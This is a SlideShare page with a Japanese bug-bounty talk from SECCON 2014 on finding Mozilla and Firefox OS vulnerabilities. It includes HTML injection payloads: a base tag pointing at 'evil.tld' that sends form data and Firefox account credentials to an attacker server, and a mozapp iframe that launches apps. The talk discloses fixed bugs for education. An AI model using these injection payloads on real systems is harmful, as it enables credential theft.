SlideShare a Scribd company logo
1 of 38
Download to read offline
Mozillaの報奨金制度で
100万円ほど稼いだ話
SECCON CTF 2014全国大会カンファレンス
2015年2月7日@東京電機大学
Welcome to the Black Hole of Bug Bounty Program –RESOLVED FIXED-
にしむねあ
Weekend Bug Hunter
Lecturer of Security Camp 2014
この3か月間で11,500ドル
2014.11 $3000 Bug 1069762
2014.12 $6000
Bug 1101158
Bug 1102204
2015.01 $2500
Bug 1065909
Bug 1106713
実は9か月間でも11,500ドル
5月 6月 7月 8月 9月 10月 11月 12月 1月5 6 7 8 9 10 11 12 1
$3000
$6000
$2500
$0 $0 $0 $0 $0 $0
実は9か月間でも11,500ドル
5月 6月 7月 8月 9月 10月 11月 12月 1月5 6 7 8 9 10 11 12 1
苦悩の6か月
苦悩の6か月で見つけた
バグ探しのメソッドを紹介します
(今後の稼ぎに支障のない範囲で)
その1
過去に学ぶ
https://www.mozilla.org/en-US/security/advisories/
• 過去の脆弱性情報から、発生した箇所と
攻撃方法を洗い出す
• 同じ攻撃を他の箇所で試してみる
• 歴史は繰り返す
https://www.mozilla.org/en-US/security/advisories/mfsa2012-53/
2012年7月 : CVE-2012-1963
CSPの違反レポートを利用して
OAuth 2.0のアクセストークンなどを盗むことができた
https://www.mozilla.org/en-US/security/advisories/mfsa2014-86/
CSPのコードをC++で書き直した際に
同じ脆弱性が再発
その2
見つけた脆弱性を
最大限に悪用する
• 発見報告して終わりじゃもったいない
• 最悪のシナリオを示すことで、
脆弱性の価値は高めることができる
深刻度がHigh以上でないと報奨金は出ない
Critical $3000
High $3000
Moderate 無し (たまに減額支給)
Low 無し
https://www.mozilla.org/en-US/security/bug-bounty/
公表されていないが
Firefox OSも報奨金の対象
http://www.slideshare.net/dynamis/future-with-firefox-os
すべてWeb技術で
<s>pwn
すべてWeb技術で
そういうことか
• Firefox OSでは、権限の高いアプリには
CSPが適用される
• 任意のHTMLやCSSは注入できても
スクリプトは注入できない
スクリプトを一切使わずに
HTMLだけで悪さをする方法を考えた
攻撃① baseタグを注入
<base href=http://evil.tld>
• ベースURLを操作することにより
相対パス指定URLの通信先を変更する
• フォームの入力内容を攻撃者のサーバに
送信させるといった攻撃が可能
端末から来るHTTPリクエストを監視
Firefoxアカウントの認証画面を取りに来た
偽の認証ページを配信すれば
Firefoxアカウントの認証情報を盗める
攻撃② 特殊な<iframe>を注入
<iframe mozapp src=…>
• Firefox OSのアプリは特殊な
iframeの上で起動する
• iframeを注入することにより
任意のアプリを実行させることができる
先程の画面でFM Radioアプリが起動
HTMLインジェクション1件で
30万円貰えるボーナスゲームに
まとめ
① 過去に学ぶ
② 見つけた脆弱性を最大限に悪用する
本日紹介したメソッド
Mozillaの報奨金制度で100万円ほど稼いだ話

More Related Content

More from Muneaki Nishimura

More from Muneaki Nishimura (9)

HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
 
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSPFuture of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
 
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedWelcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
 
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティそろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
 
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramWelcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
 
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
 
GeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみたGeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみた
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
 
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみたFirefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
 

Recently uploaded

Recently uploaded (10)

Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
Utilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native IntegrationsUtilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native Integrations
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
 

Mozillaの報奨金制度で100万円ほど稼いだ話